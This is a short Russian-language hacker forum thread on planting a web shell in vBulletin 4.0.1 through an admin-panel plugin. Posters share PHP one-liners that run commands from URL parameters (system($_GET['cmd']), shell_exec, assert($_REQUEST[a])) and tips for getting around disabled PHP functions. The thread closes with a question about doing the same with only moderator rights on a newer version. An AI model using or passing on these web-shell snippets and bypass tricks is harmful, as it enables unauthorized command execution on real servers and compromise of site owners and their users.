шелл в vBulletin 4.0.1

[$ereg@]

создал свой плюгин
Plugins & Products ->Add New Plugin->faq_complete
с содержимым: system($_GET["cmd"]);
делаю плюгин активным...
делаю запрос:admincp/faq.php?cmd=ls
и тупо никакой реакции :(
в чём причина ? может тупо в новой версии не катит такой способ заливки шелла ?

[Pashkela]

system может быть в дизабл функшионс, сначала посмотри phpinfo

[Bb0y]

eval попробуй заюзать

[DimOnOID]

создал свой плюгин
Plugins & Products ->Add New Plugin->faq_complete
с содержимым: system($_GET["cmd"]);
делаю плюгин активным...
делаю запрос:admincp/faq.php?cmd=ls
и тупо никакой реакции :(
в чём причина ? может тупо в новой версии не катит такой способ заливки шелла ?

faq.php находится в корне форума..а не в админке.

[$ereg@]

гыгы))) реально) фига я тупанул) спасибо большое тебе) а то так бы и тупил)

[greenly]

что можно сделать когда system, passthru, exec запрещены? "has been disabled for security reasons " :rolleyes:

[+StArT+]

что можно сделать когда system, passthru, exec запрещены? "has been disabled for security reasons " :rolleyes:
Воспользоваться альтернативой если такая имеется.. :)
К примеру: shell_exec
<? echo(shell_exec('id')); ?>
Либо обходится средствами php.

[greenly]

shell_exec, eval тоже в запрете.
будем курить php :(

[Pashkela]

<?assert($_REQUEST[a]);?>

http://site/script.php?a=phpinfo();

и еще куча вариантов

[Serafim]

А вот на счет 4.0.2 + права модера?

Реально ли?